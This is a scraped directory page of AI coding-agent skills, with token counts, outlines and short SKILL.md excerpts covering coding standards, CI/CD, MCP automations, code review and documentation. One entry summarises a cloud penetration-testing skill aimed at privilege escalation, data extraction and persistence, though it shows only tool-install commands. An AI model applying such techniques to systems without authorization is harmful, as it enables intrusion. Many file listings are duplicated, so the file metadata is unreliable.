Universal coding standards, best practices, and patterns for TypeScript, JavaScript, React, and Node.js development.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
2,880 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Code Quality Principles
- TypeScript/JavaScript Standards
- React Best Practices
- API Design Standards
- File Organization
- Comments & Documentation
- Performance Best Practices
- Testing Standards
- Code Smell Detection
- When to Use
Files
SKILL.mdcore11,576 bytes
Read SKILL.md
# Coding Standards & Best Practices
Universal coding standards applicable across all projects.
## Code Quality Principles
### 1. Readability First
- Code is read more than written
- Clear variable and function names
- Self-documenting code preferred over comments
- Consistent formatting
### 2. KISS (Keep It Simple, Stupid)
- Simplest solution that worksView the complete source on GitHubcc-skill-continuous-learning
When your agent uses it
Development skill from everything-claude-code
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
78 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
Scripts executed separately
evaluate-session.sh
Files
SKILL.mdcore329 bytesconfig.jsonasset391 bytesevaluate-session.shruns2,015 bytes
Read SKILL.md
# cc-skill-continuous-learning
Development skill skill.
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.View the complete source on GitHubcc-skill-frontend-patterns
When your agent uses it
Frontend development patterns for React, Next.js, state management, performance optimization, and UI best practices.
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
3,605 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Component Patterns
- Custom Hooks Patterns
- State Management Patterns
- Performance Optimization
- Form Handling Patterns
- Error Boundary Pattern
- Animation Patterns
- Accessibility Patterns
- When to Use
Files
SKILL.mdcore14,489 bytes
Read SKILL.md
# Frontend Development Patterns
Modern frontend patterns for React, Next.js, and performant user interfaces.
## Component Patterns
### Composition Over Inheritance
```typescript
// ✅ GOOD: Component composition
interface CardProps {
children: React.ReactNode
variant?: 'default' | 'outlined'
}View the complete source on GitHubcc-skill-project-guidelines-example
When your agent uses it
Project Guidelines Skill (Example)
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
2,191 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Architecture Overview
- File Structure
- Code Patterns
- Testing Requirements
- Deployment Workflow
- Critical Rules
- Related Skills
Files
SKILL.mdcore9,831 bytesSKILL.mdcore9,831 bytesSKILL.mdcore9,831 bytesSKILL.mdcore9,831 bytesSKILL.mdcore9,831 bytesSKILL.mdcore9,831 bytesSKILL.mdcore9,831 bytesSKILL.mdcore9,831 bytesSKILL.mdcore9,831 bytesSKILL.mdcore9,831 bytes
Read SKILL.md
# Project Guidelines Skill (Example)
This is an example of a project-specific skill. Use this as a template for your own projects.
Based on a real production application: [Zenith](https://zenith.chat) - AI-powered customer discovery platform.
---
## When to Use
Reference this skill when working on the specific project it's designed for. Project skills contain:
- Architecture overview
- File structure
- Code patternsView the complete source on GitHubcc-skill-security-review
When your agent uses it
Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist a...
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
3,067 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Activate
- Security Checklist
- Security Testing
- Pre-Deployment Security Checklist
- Resources
- When to Use
Files
SKILL.mdcore12,371 bytesSKILL.mdcore12,371 bytesSKILL.mdcore12,371 bytesSKILL.mdcore12,371 bytes
Read SKILL.md
# Security Review Skill
This skill ensures all code follows security best practices and identifies potential vulnerabilities.
## When to Activate
- Implementing authentication or authorization
- Handling user input or file uploads
- Creating new API endpoints
- Working with secrets or credentials
- Implementing payment features
- Storing or transmitting sensitive data
- Integrating third-party APIs
View the complete source on GitHubcc-skill-strategic-compact
When your agent uses it
Development skill from everything-claude-code
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
80 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
Scripts executed separately
suggest-compact.sh
Files
SKILL.mdcore325 bytessuggest-compact.shruns1,634 bytes
Read SKILL.md
# cc-skill-strategic-compact
Development skill skill.
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.View the complete source on GitHubchangelog-automation
When your agent uses it
Automate changelog generation from commits, PRs, and releases following Keep a Changelog format. Use when setting up release workflows, generating release notes, or standardizing commit conventions.
What it loads into context
Frontmatter
54 tokensAlways available to the agent
SKILL.md
254 tokensWhen the skill is activated
Reference documents
3,541 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Safety
- Resources
Files
SKILL.mdcore1,308 bytesresources/implementation-playbook.mddoc13,316 bytes
Read SKILL.md
# Changelog Automation
Patterns and tools for automating changelog generation, release notes, and version management following industry standards.
## Use this skill when
- Setting up automated changelog generation
- Implementing conventional commits
- Creating release note workflows
- Standardizing commit message formats
- Managing semantic versioning
## Do not use this skill when
View the complete source on GitHubcicd-automation-workflow-automate
When your agent uses it
You are a workflow automation expert specializing in creating efficient CI/CD pipelines, GitHub Actions workflows, and automated development processes. Design automation that reduces manual work, i...
What it loads into context
Frontmatter
55 tokensAlways available to the agent
SKILL.md
407 tokensWhen the skill is activated
Reference documents
8,393 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Safety
- Context
- Requirements
- Instructions
- Output Format
- Resources
Files
SKILL.mdcore2,178 bytesresources/implementation-playbook.mddoc36,078 bytes
Read SKILL.md
# Workflow Automation
You are a workflow automation expert specializing in creating efficient CI/CD pipelines, GitHub Actions workflows, and automated development processes. Design and implement automation that reduces manual work, improves consistency, and accelerates delivery while maintaining quality and security.
## Use this skill when
- Automating CI/CD workflows or release pipelines
- Designing GitHub Actions or multi-stage build/test/deploy flows
- Replacing manual build, test, or deployment steps
- Improving pipeline reliability, visibility, or compliance checks
## Do not use this skill when
- You only need a one-off command or quick troubleshootingView the complete source on GitHubcircleci-automation
When your agent uses it
Automate CircleCI tasks via Rube MCP (Composio): trigger pipelines, monitor workflows/jobs, retrieve artifacts and test metadata. Always search tools first for current schemas.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
1,667 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore6,763 bytes
Read SKILL.md
# CircleCI Automation via Rube MCP
Automate CircleCI CI/CD operations through Composio's CircleCI toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active CircleCI connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `circleci`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubclarity-gate
When your agent uses it
Pre-ingestion verification for epistemic quality in RAG systems with 9-point verification and Two-Round HITL workflow
What it loads into context
Frontmatter
54 tokensAlways available to the agent
SKILL.md
186 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- Instructions
Files
SKILL.mdcore838 bytesSKILL.mdcore838 bytes
Read SKILL.md
# Clarity Gate
## Overview
Pre-ingestion verification for epistemic quality in RAG systems with 9-point verification and Two-Round HITL workflow
## When to Use This Skill
Use this skill when you need to work with pre-ingestion verification for epistemic quality in rag systems with 9-point verification and two-round hitl workflow.
## Instructions
This skill provides guidance and patterns for pre-ingestion verification for epistemic quality in rag systems with 9-point verification and two-round hitl workflow.
View the complete source on GitHubclaude-ally-health
When your agent uses it
A health assistant skill for medical information analysis, symptom tracking, and wellness guidance.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
156 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- Instructions
Files
SKILL.mdcore784 bytesSKILL.mdcore784 bytes
Read SKILL.md
# Claude Ally Health
## Overview
A health assistant skill for medical information analysis, symptom tracking, and wellness guidance.
## When to Use This Skill
Use this skill when you need to work with a health assistant skill for medical information analysis, symptom tracking, and wellness guidance..
## Instructions
This skill provides guidance and patterns for a health assistant skill for medical information analysis, symptom tracking, and wellness guidance..
View the complete source on GitHubclaude-code-guide
When your agent uses it
Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies \"Thinking\" keywords, debugging techniques, and best practices for interacting wit...
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
507 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Configuration (`CLAUDE.md`)
- Advanced Features
- Best Practices
- Reference
- When to Use
Files
SKILL.mdcore2,271 bytes
Read SKILL.md
# Claude Code Guide
## Purpose
To provide a comprehensive reference for configuring and using Claude Code (the agentic coding tool) to its full potential. This skill synthesizes best practices, configuration templates, and advanced usage patterns.
## Configuration (`CLAUDE.md`)
When starting a new project, create a `CLAUDE.md` file in the root directory to guide the agent.
### Template (General)
```markdown
# Project GuidelinesView the complete source on GitHubclaude-d3js-skill
When your agent uses it
Creating interactive data visualisations using d3.js. This skill should be used when creating custom charts, graphs, network diagrams, geographic visualisations, or any complex SVG-based data visua...
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
5,885 tokensWhen the skill is activated
Reference documents
13,415 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to use d3.js
- Core workflow
- Common visualisation patterns
- Adding interactivity
- Transitions and animations
- Scales reference
- Best practices
- Common issues and solutions
- Resources
Scripts executed separately
assets/chart-template.jsxassets/interactive-template.jsx
Files
SKILL.mdcore21,568 bytesSKILL.mdcore21,568 bytesSKILL.mdcore21,568 bytesassets/chart-template.jsxruns2,820 bytesassets/interactive-template.jsxruns6,468 bytesassets/sample-data.jsonasset4,480 bytesreferences/colour-schemes.mddoc12,761 bytesreferences/d3-patterns.mddoc21,605 bytesreferences/scale-reference.mddoc12,079 bytes
Read SKILL.md
# D3.js Visualisation
## Overview
This skill provides guidance for creating sophisticated, interactive data visualisations using d3.js. D3.js (Data-Driven Documents) excels at binding data to DOM elements and applying data-driven transformations to create custom, publication-quality visualisations with precise control over every visual element. The techniques work across any JavaScript environment, including vanilla JavaScript, React, Vue, Svelte, and other frameworks.
## When to use d3.js
**Use d3.js for:**
- Custom visualisations requiring unique visual encodings or layouts
- Interactive explorations with complex pan, zoom, or brush behaviours
- Network/graph visualisations (force-directed layouts, tree diagrams, hierarchies, chord diagrams)
- Geographic visualisations with custom projections
- Visualisations requiring smooth, choreographed transitionsView the complete source on GitHubclaude-scientific-skills
When your agent uses it
Scientific research and analysis skills
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
126 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- Instructions
Files
SKILL.mdcore576 bytesSKILL.mdcore576 bytes
Read SKILL.md
# Claude Scientific Skills
## Overview
Scientific research and analysis skills
## When to Use This Skill
Use this skill when you need to work with scientific research and analysis skills.
## Instructions
This skill provides guidance and patterns for scientific research and analysis skills.
View the complete source on GitHubclaude-speed-reader
When your agent uses it
-Speed read Claude's responses at 600+ WPM using RSVP with Spritz-style ORP highlighting
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
181 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- Instructions
Files
SKILL.mdcore746 bytesSKILL.mdcore746 bytes
Read SKILL.md
# Claude Speed Reader
## Overview
-Speed read Claude's responses at 600+ WPM using RSVP with Spritz-style ORP highlighting
## When to Use This Skill
Use this skill when you need to work with -speed read claude's responses at 600+ wpm using rsvp with spritz-style orp highlighting.
## Instructions
This skill provides guidance and patterns for -speed read claude's responses at 600+ wpm using rsvp with spritz-style orp highlighting.
View the complete source on GitHubclaude-win11-speckit-update-skill
When your agent uses it
Windows 11 system management
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
138 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- Instructions
Files
SKILL.mdcore566 bytesSKILL.mdcore566 bytes
Read SKILL.md
# Claude Win11 Speckit Update Skill
## Overview
Windows 11 system management
## When to Use This Skill
Use this skill when you need to work with windows 11 system management.
## Instructions
This skill provides guidance and patterns for windows 11 system management.
View the complete source on GitHubclean-code
When your agent uses it
Applies principles from Robert C. Martin's 'Clean Code'. Use this skill when writing, reviewing, or refactoring code to ensure high quality, readability, and maintainability. Covers naming, functio...
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,113 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 🧠 Core Philosophy
- When to Use
- 1. Meaningful Names
- 2. Functions
- 3. Comments
- 4. Formatting
- 5. Objects and Data Structures
- 6. Error Handling
- 7. Unit Tests
- 8. Classes
- 9. Smells and Heuristics
- 🛠<U+FE0F> Implementation Checklist
Files
SKILL.mdcore4,392 bytesSKILL.mdcore4,392 bytesSKILL.mdcore4,392 bytes
Read SKILL.md
# Clean Code Skill
This skill embodies the principles of "Clean Code" by Robert C. Martin (Uncle Bob). Use it to transform "code that works" into "code that is clean."
## 🧠 Core Philosophy
> "Code is clean if it can be read, and enhanced by a developer other than its original author." — Grady Booch
## When to Use
Use this skill when:
- **Writing new code**: To ensure high quality from the start.
- **Reviewing Pull Requests**: To provide constructive, principle-based feedback.
- **Refactoring legacy code**: To identify and remove code smells.
- **Improving team standards**: To align on industry-standard best practices.
View the complete source on GitHubclerk-auth
When your agent uses it
Expert patterns for Clerk auth implementation, middleware, organizations, webhooks, and user sync Use when: adding authentication, clerk auth, user authentication, sign in, sign up.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
363 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Patterns
- ⚠<U+FE0F> Sharp Edges
- When to Use
Files
SKILL.mdcore1,623 bytes
Read SKILL.md
# Clerk Authentication
## Patterns
### Next.js App Router Setup
Complete Clerk setup for Next.js 14/15 App Router.
Includes ClerkProvider, environment variables, and basic
sign-in/sign-up components.
Key components:
- ClerkProvider: Wraps app for auth context
- <SignIn />, <SignUp />: Pre-built auth formsView the complete source on GitHubclickup-automation
When your agent uses it
Automate ClickUp project management including tasks, spaces, folders, lists, comments, and team operations via Rube MCP (Composio). Always search tools first for current schemas.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
3,045 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore11,785 bytes
Read SKILL.md
# ClickUp Automation via Rube MCP
Automate ClickUp project management workflows including task creation and updates, workspace hierarchy navigation, comments, and team member management through Composio's ClickUp toolkit.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active ClickUp connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `clickup`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubclose-automation
When your agent uses it
Automate Close CRM tasks via Rube MCP (Composio): create leads, manage calls/SMS, handle tasks, and track notes. Always search tools first for current schemas.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
1,647 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore6,778 bytes
Read SKILL.md
# Close CRM Automation via Rube MCP
Automate Close CRM operations through Composio's Close toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Close connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `close`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubcloud-architect
When your agent uses it
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
1,658 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Purpose
- Capabilities
- Behavioral Traits
- Knowledge Base
- Response Approach
- Example Interactions
Files
SKILL.mdcore7,963 bytes
Read SKILL.md
## Use this skill when
- Working on cloud architect tasks or workflows
- Needing guidance, best practices, or checklists for cloud architect
## Do not use this skill when
- The task is unrelated to cloud architect
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.View the complete source on GitHubcloud-penetration-testing
When your agent uses it
This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfiguratio...
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
3,464 tokensWhen the skill is activated
Reference documents
3,260 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Examples
- Troubleshooting
- References
- When to Use
Files
SKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesSKILL.mdcore13,990 bytesreferences/advanced-cloud-scripts.mddoc11,972 bytes
Read SKILL.md
# Cloud Penetration Testing
## Purpose
Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
## Prerequisites
### Required Tools
```bash
# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -ForceView the complete source on GitHubcoda-automation
When your agent uses it
Automate Coda tasks via Rube MCP (Composio): manage docs, pages, tables, rows, formulas, permissions, and publishing. Always search tools first for current schemas.
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
2,356 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore9,159 bytes
Read SKILL.md
# Coda Automation via Rube MCP
Automate Coda document and data operations through Composio's Coda toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Coda connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `coda`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubcode-documentation-code-explain
When your agent uses it
You are a code education expert specializing in explaining complex code through clear narratives, visual diagrams, and step-by-step breakdowns. Transform difficult concepts into understandable expl...
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
355 tokensWhen the skill is activated
Reference documents
4,949 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Context
- Requirements
- Instructions
- Output Format
- Resources
Files
SKILL.mdcore1,849 bytesresources/implementation-playbook.mddoc22,402 bytes
Read SKILL.md
# Code Explanation and Analysis
You are a code education expert specializing in explaining complex code through clear narratives, visual diagrams, and step-by-step breakdowns. Transform difficult concepts into understandable explanations for developers at all levels.
## Use this skill when
- Explaining complex code, algorithms, or system behavior
- Creating onboarding walkthroughs or learning materials
- Producing step-by-step breakdowns with diagrams
- Teaching patterns or debugging reasoning
## Do not use this skill when
- The request is to implement new features or refactorsView the complete source on GitHubcode-documentation-doc-generate
When your agent uses it
You are a documentation expert specializing in creating comprehensive, maintainable documentation from code. Generate API docs, architecture diagrams, user guides, and technical references using AI...
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
340 tokensWhen the skill is activated
Reference documents
3,533 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Context
- Requirements
- Instructions
- Safety
- Output Format
- Resources
Files
SKILL.mdcore1,837 bytesSKILL.mdcore1,837 bytesresources/implementation-playbook.mddoc16,243 bytes
Read SKILL.md
# Automated Documentation Generation
You are a documentation expert specializing in creating comprehensive, maintainable documentation from code. Generate API docs, architecture diagrams, user guides, and technical references using AI-powered analysis and industry best practices.
## Use this skill when
- Generating API, architecture, or user documentation from code
- Building documentation pipelines or automation
- Standardizing docs across a repository
## Do not use this skill when
- The project has no codebase or source of truth
- You only need ad-hoc explanationsView the complete source on GitHubcode-refactoring-context-restore
When your agent uses it
Use when working with code refactoring context restore
What it loads into context
Frontmatter
29 tokensAlways available to the agent
SKILL.md
1,181 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Role Statement
- Context Overview
- Core Requirements and Arguments
- Advanced Context Retrieval Strategies
- Reference Workflows
- Usage Examples
- Integration Patterns
- Future Roadmap
Files
SKILL.mdcore6,223 bytesSKILL.mdcore6,223 bytesSKILL.mdcore6,223 bytesSKILL.mdcore6,223 bytesSKILL.mdcore6,223 bytesSKILL.mdcore6,223 bytes
Read SKILL.md
# Context Restoration: Advanced Semantic Memory Rehydration
## Use this skill when
- Working on context restoration: advanced semantic memory rehydration tasks or workflows
- Needing guidance, best practices, or checklists for context restoration: advanced semantic memory rehydration
## Do not use this skill when
- The task is unrelated to context restoration: advanced semantic memory rehydration
- You need a different domain or tool outside this scope
## Instructions
View the complete source on GitHubcode-refactoring-refactor-clean
When your agent uses it
You are a code refactoring expert specializing in clean code principles, SOLID design patterns, and modern software engineering best practices. Analyze and refactor the provided code to improve its...
What it loads into context
Frontmatter
55 tokensAlways available to the agent
SKILL.md
368 tokensWhen the skill is activated
Reference documents
5,314 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Context
- Requirements
- Instructions
- Safety
- Output Format
- Resources
Files
SKILL.mdcore1,840 bytesresources/implementation-playbook.mddoc22,374 bytes
Read SKILL.md
# Refactor and Clean Code
You are a code refactoring expert specializing in clean code principles, SOLID design patterns, and modern software engineering best practices. Analyze and refactor the provided code to improve its quality, maintainability, and performance.
## Use this skill when
- Refactoring tangled or hard-to-maintain code
- Reducing duplication, complexity, or code smells
- Improving testability and design consistency
- Preparing modules for new features safely
## Do not use this skill when
- You only need a small one-line fixView the complete source on GitHubcode-refactoring-tech-debt
When your agent uses it
You are a technical debt expert specializing in identifying, quantifying, and prioritizing technical debt in software projects. Analyze the codebase to uncover debt, assess its impact, and create acti
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
2,501 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Context
- Requirements
- Instructions
- Output Format
Files
SKILL.mdcore10,161 bytesSKILL.mdcore10,161 bytesSKILL.mdcore10,161 bytesSKILL.mdcore10,161 bytes
Read SKILL.md
# Technical Debt Analysis and Remediation
You are a technical debt expert specializing in identifying, quantifying, and prioritizing technical debt in software projects. Analyze the codebase to uncover debt, assess its impact, and create actionable remediation plans.
## Use this skill when
- Working on technical debt analysis and remediation tasks or workflows
- Needing guidance, best practices, or checklists for technical debt analysis and remediation
## Do not use this skill when
- The task is unrelated to technical debt analysis and remediation
- You need a different domain or tool outside this scope
View the complete source on GitHubcode-review-ai-ai-review
When your agent uses it
You are an expert AI-powered code review specialist combining automated static analysis, intelligent pattern recognition, and modern DevOps practices. Leverage AI tools (GitHub Copilot, Qodo, GPT-5, C
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
3,713 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Context
- Requirements
- Automated Code Review Workflow
- Architecture Analysis
- Security Vulnerability Detection
- Performance Review
- Review Comment Generation
- CI/CD Integration
- Complete Example: AI Review Automation
- Summary
Files
SKILL.mdcore15,584 bytesSKILL.mdcore15,584 bytesSKILL.mdcore15,584 bytesSKILL.mdcore15,584 bytesSKILL.mdcore15,584 bytesSKILL.mdcore15,584 bytesSKILL.mdcore15,584 bytesSKILL.mdcore15,584 bytesSKILL.mdcore15,584 bytes
Read SKILL.md
# AI-Powered Code Review Specialist
You are an expert AI-powered code review specialist combining automated static analysis, intelligent pattern recognition, and modern DevOps practices. Leverage AI tools (GitHub Copilot, Qodo, GPT-5, Claude 4.5 Sonnet) with battle-tested platforms (SonarQube, CodeQL, Semgrep) to identify bugs, vulnerabilities, and performance issues.
## Use this skill when
- Working on ai-powered code review specialist tasks or workflows
- Needing guidance, best practices, or checklists for ai-powered code review specialist
## Do not use this skill when
- The task is unrelated to ai-powered code review specialist
- You need a different domain or tool outside this scope
View the complete source on GitHubcode-review-checklist
When your agent uses it
Comprehensive checklist for conducting thorough code reviews covering functionality, security, performance, and maintainability
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
2,763 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- How It Works
- Examples
- Best Practices
- Complete Review Checklist
- Common Pitfalls
- Review Comment Templates
- Related Skills
- Additional Resources
Files
SKILL.mdcore11,654 bytes
Read SKILL.md
# Code Review Checklist
## Overview
Provide a systematic checklist for conducting thorough code reviews. This skill helps reviewers ensure code quality, catch bugs, identify security issues, and maintain consistency across the codebase.
## When to Use This Skill
- Use when reviewing pull requests
- Use when conducting code audits
- Use when establishing code review standards for a team
- Use when training new developers on code review practices
- Use when you want to ensure nothing is missed in reviews
- Use when creating code review documentationView the complete source on GitHubcode-review-excellence
When your agent uses it
Master effective code review practices to provide constructive feedback, catch bugs early, and foster knowledge sharing while maintaining team morale. Use when reviewing pull requests, establishing...
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
270 tokensWhen the skill is activated
Reference documents
3,142 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Output Format
- Resources
Files
SKILL.mdcore1,434 bytesresources/implementation-playbook.mddoc13,389 bytes
Read SKILL.md
# Code Review Excellence
Transform code reviews from gatekeeping to knowledge sharing through constructive feedback, systematic analysis, and collaborative improvement.
## Use this skill when
- Reviewing pull requests and code changes
- Establishing code review standards
- Mentoring developers through review feedback
- Auditing for correctness, security, or performance
## Do not use this skill when
- There are no code changes to reviewView the complete source on GitHubcode-reviewer
When your agent uses it
Elite code review expert specializing in modern AI-powered code analysis, security vulnerabilities, performance optimization, and production reliability. Masters static analysis tools, security scanning, and configuration review with 2024/2025 best practices. Use PROACTIVELY for code quality assurance.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
1,581 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Expert Purpose
- Capabilities
- Behavioral Traits
- Knowledge Base
- Response Approach
- Example Interactions
Files
SKILL.mdcore8,972 bytesSKILL.mdcore8,972 bytes
Read SKILL.md
## Use this skill when
- Working on code reviewer tasks or workflows
- Needing guidance, best practices, or checklists for code reviewer
## Do not use this skill when
- The task is unrelated to code reviewer
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
